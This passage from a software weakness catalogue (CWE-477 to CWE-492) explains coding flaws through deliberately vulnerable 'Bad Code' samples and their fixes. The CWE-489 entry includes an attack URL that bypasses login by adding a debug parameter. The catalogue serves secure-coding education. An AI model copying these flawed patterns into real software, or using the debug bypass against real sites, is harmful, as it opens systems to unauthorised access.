If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Requirements

The choice could be made to use a language that is not susceptible to these issues.

Implementation
Moderate

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

This solution does not handle the use of improperly initialized variables (CWE-665).

Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

White Box Definitions

A weakness where the code path has:

1. start statement that assigns a null value to the pointer
2. end statement that dereferences a pointer
3. the code path does not contain any other statement that assigns value to the pointer

CWE-477: Use of Obsolete Functions

Weakness ID: 477 *(Weakness Base)* **Status:** Draft

Description

Summary

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

Advances in the language

Improved understanding of how operations should be performed effectively and securely

Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Highly cost effective:
Formal Methods / Correct-By-Construction
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

C Example: *Bad Code*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
  cryptpw=strtok(pwdline, ":");
```

CWE-477: Use of Obsolete Functions

```
  pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Java Example: *Bad Code*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Java Example: *Bad Code*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

Potential Mitigations

Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

CWE-478: Missing Default Case in Switch Statement

Weakness ID: 478 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

Extended Description

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity
Varies by context
Alter execution logic

Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.

Demonstrative Examples

Example 1:

The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

C Example: *Bad Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

C Example: *Good Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
```

```
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
  default:
    printf("Unknown error (%d), exiting...\n",result);
    exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2:

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Java Example: *Bad Code*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
  BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
  switch (points) {
    case 0:
      result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
      break;
    case 1:
      result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
      break;
    case 2:
      result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
      break;
  }
  return result;
}
```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Java Example: *Good Code*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
  BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
  switch (points) {
    case 0:
      result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
      break;
    case 1:
      result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
      break;
    case 2:
      result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
      break;
    default:
      System.err.println("Invalid value for points, must be 0, 1 or 2");
      System.err.println("Returning null value for interest rate");
      result = null;
  }
```

```
  return result;
}
```

Potential Mitigations

Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

Implementation

In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID: 479 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program defines a signal handler that calls a non-reentrant function.

Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

It may be possible to execute arbitrary code through the use of a write-what-where condition.

Integrity
Modify application data

Signal race conditions often result in data corruption.

Likelihood of Exploit

Low

Demonstrative Examples

In this example, a signal handler uses syslog() to log a message:

```
char *message;
void sh(int dummy) {
  syslog(LOG_NOTICE,"%s\n",message);
  sleep(10);
  exit(0);
}
int main(int argc,char* argv[]) {
  ...
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  sleep(10);
  exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

Reference	Description
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions
CVE-2005-0893	signal handler calls function that ultimately uses malloc()

Potential Mitigations

Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Implementation
Defense in Depth

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

CWE-480: Use of Incorrect Operator

Weakness ID: 480 *(Weakness Base)* **Status:** Draft

Description

Summary

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

Extended Description

These types of errors are generally the result of a typo.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Perl *(Sometimes)*
- Language-independent

Common Consequences

Other

Alter execution logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.

Likelihood of Exploit

Low

Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

C/C# Example: *Bad Code*

```
int isValid(int value) {
  if (value=100) {
    printf("Value is valid\n");
    return(1);
  }
  printf("Value is not valid\n");
  return(0);
}
```

C# Example: *Bad Code*

```
bool isValid(int value) {
  if (value=100) {
    Console.WriteLine("Value is valid.");
    return true;
  }
  Console.WriteLine("Value is not valid.");
  return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

C/C++ Example: *Bad Code*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
  p1++;
  if(p1==(tos+SIZE)) {
    // Print stack overflow error message and exit
  }
  *p1 == i;
}
int pop(void) {
  if(p1==tos) {
    // Print stack underflow error message and exit
  }
  p1--;
  return *(p1+1);
}
int main(int argc, char *argv[]) {
  // initialize tos and p1 to point to the top of stack
  tos = stack;
  p1 = stack;
```

```
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

CWE-481: Assigning instead of Comparing

Weakness ID: 481 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

- C++
- Java
- .NET

Common Consequences

Other

Alter execution logic

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

C/C# Example: *Bad Code*

```
int isValid(int value) {
  if (value=100) {
    printf("Value is valid\n");
    return(1);
  }
  printf("Value is not valid\n");
  return(0);
}
```

C# Example: *Bad Code*

```
bool isValid(int value) {
  if (value=100) {
    Console.WriteLine("Value is valid.");
    return true;
  }
  Console.WriteLine("Value is not valid.");
  return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

C Example: *Bad Code*

```
void processString (char *str) {
  int i;
  for(i=0; i<strlen(str); i++) {
    if (isalnum(str[i])){
      processChar(str[i]);
    }
    else if (str[i] = ':') {
      movingToNewInput();}
    }
  }
}
```

Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Java Example: *Bad Code*

```
public void checkValid(boolean isValid) {
  if (isValid = true) {
    System.out.println("Performing processing");
    doSomethingImportant();
  }
  else {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Java Example: *Good Code*

```
public void checkValid(boolean isValid) {
  if (isValid) {
    System.out.println("Performing processing");
    doSomethingImportant();
  }
  else {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Java Example: *Good Code*

```
public void checkValid(boolean isValid) {
  if (!isValid) {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
  System.out.println("Performing processing");
  doSomethingImportant();
}
```

Example 4:

C Example: *Bad Code*

```
void called(int foo){
  if (foo=1) printf("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

Potential Mitigations

Testing

Many IDEs and static analysis products will detect this problem.

Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

CWE-482: Comparing instead of Assigning

Weakness ID: 482 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Modes of Introduction

This bug primarily originates from a typo.

Common Consequences

Availability
Integrity
Unexpected state

The assignment will not take place, which should cause obvious program execution problems.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

C/C++/Java Example: *Bad Code*

```
void called(int foo) {
  foo==1;
  if (foo==1) printf("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

C/C++ Example: *Bad Code*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
  p1++;
  if(p1==(tos+SIZE)) {
    // Print stack overflow error message and exit
  }
  *p1 == i;
}
int pop(void) {
  if(p1==tos) {
    // Print stack underflow error message and exit
  }
  p1--;
  return *(p1+1);
}
int main(int argc, char *argv[]) {
  // initialize tos and p1 to point to the top of stack
  tos = stack;
  p1 = stack;
  // code to add and remove items from stack
  ...
  return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

Potential Mitigations

Testing

Many IDEs and static analysis products will detect this problem.

CWE-483: Incorrect Block Delimitation

Weakness ID: 483 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*

Common Consequences

Confidentiality
Integrity
Availability
Alter execution logic

This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Bad Code

```
if (condition==true)
  Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Bad Code

```
if (condition==true) Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples

Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail")

Potential Mitigations

Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	398	Indicator of Poor Code Quality	**699**	685

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Incorrect block delimitation

CWE-484: Omitted Break Statement in Switch

Weakness ID: 484 *(Weakness Base)* **Status:** Draft

Description

Summary

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET
- PHP

Common Consequences

Other

Alter execution logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.

Likelihood of Exploit

Medium

Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Demonstrative Examples

In both of these examples, a message is printed based on the month passed into the function:

Java Example: *Bad Code*

```
public void printMessage(int month){
  switch (month) {
    case 1: print("January");
    case 2: print("February");
    case 3: print("March");
    case 4: print("April");
    case 5: print("May");
    case 6: print("June");
```

```
    case 7: print("July");
    case 8: print("August");
    case 9: print("September");
    case 10: print("October");
    case 11: print("November");
    case 12: print("December");
  }
  println(" is a great month");
}
```

C/C++ Example: *Bad Code*

```
void printMessage(int month){
  switch (month) {
    case 1: printf("January");
    case 2: printf("February");
    case 3: printf("March");
    case 4: printf("April");
    case 5: printff("May");
    case 6: printf("June");
    case 7: printf("July");
    case 8: printf("August");
    case 9: printf("September");
    case 10: printf("October");
    case 11: printf("November");
    case 12: printf("December");
  }
  printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

Potential Mitigations

Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

CWE-485: Insufficient Encapsulation

Weakness ID: 485 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not sufficiently encapsulate critical data or functionality.

Extended Description

Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not.

Terminology Notes

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

CWE-486: Comparison of Classes by Name

Weakness ID: 486 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Java Example: *Bad Code*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
  // Do something assuming you trust inputClass
  // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Java Example: *Good Code*

```
if (inputClass.getClass() == TrustedClass.class) {
  // Do something assuming you trust inputClass
  // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Java Example: *Bad Code*

```
public class TrustedClass {
  ...
  @Override
  public boolean equals(Object obj) {
    boolean isEquals = false;
    // first check to see if the object is of the same class
    if (obj.getClass().getName().equals(this.getClass().getName())) {
      // then compare object fields
      ...
      if (...) {
        isEquals = true;
      }
    }
    return isEquals;
  }
  ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Java Example: *Good Code*

```
public boolean equals(Object obj) {
  ...
  // first check to see if the object is of the same class
  if (obj.getClass() == this.getClass()) {
    ...
  }
  ...
}
```

Potential Mitigations

Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

CWE-487: Reliance on Package-level Scope

Weakness ID: 487 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Read application data

Any data in a Java package can be accessed outside of the Java framework if the package is distributed.

Integrity
Modify application data

The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example: *Bad Code*

```
package math;
public class Lebesgue implements Integration{
  public final Static String youAreHidingThisFunction(functionToIntegrate){
    return ...;
  }
}
```

Potential Mitigations

Architecture and Design

Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID: 488 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Java Example: *Bad Code*

```
public class GuestBook extends HttpServlet {
  String name;
  protected void doPost (HttpServletRequest req, HttpServletResponse res) {
```

```
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
  }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

Potential Mitigations

Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

CWE-489: Leftover Debug Code

Weakness ID: 489 *(Weakness Base)* **Status:** Draft

Description

Summary

The application can be deployed with active debugging code that can create unintended entry points.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

Time of Introduction

- Implementation
- Build and Compilation

- Operation

Applicable Platforms

Languages

- All

Modes of Introduction

In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.

Common Consequences

Confidentiality
Integrity
Availability
Access Control
Other
Bypass protection mechanism
Read application data
Gain privileges / assume identity
Varies by context

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.

Demonstrative Examples

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

HTML Example: *Bad Code*

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Attack

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

Potential Mitigations

Build and Compilation
Distribution

Remove debug code before deploying the application.

Other Notes

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID: 491 *(Weakness Variant)* **Status:** Draft

Description

Summary

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Other
Unexpected state
Varies by context

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Java Example: *Bad Code*

```
public class BankAccount implements Cloneable{
  public Object clone(String accountnumber) throws
  CloneNotSupportedException
  {
    Object returnMe = new BankAccount(account number);
    ...
  }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Java Example: *Bad Code*

```
protected Object clone() throws CloneNotSupportedException {
  ...
}
```

Potential Mitigations

Implementation

Make the cloneable() method final.

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID: 492 *(Weakness Variant)* **Status:** Draft

Description

Summary

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

Read application data

"Inner Classes" data confidentiality aspects can often be overcome.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Java Example: *Bad Code*

```
public final class urlTool extends Applet {
  private final class urlHelper {
    ...
  }
  ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Java Example: *Bad Code*

```
public class OuterClass {
  // private member variables of OuterClass
  private String memberOne;
  private String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a member inner class of OuterClass
  private class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass has access to private member variables of OuterClass
      System.out.println("Value of memberOne is: " + memberOne);
      return OuterClass.this.memberTwo + separator + this.innerMemberOne;
    }
  }
}
```

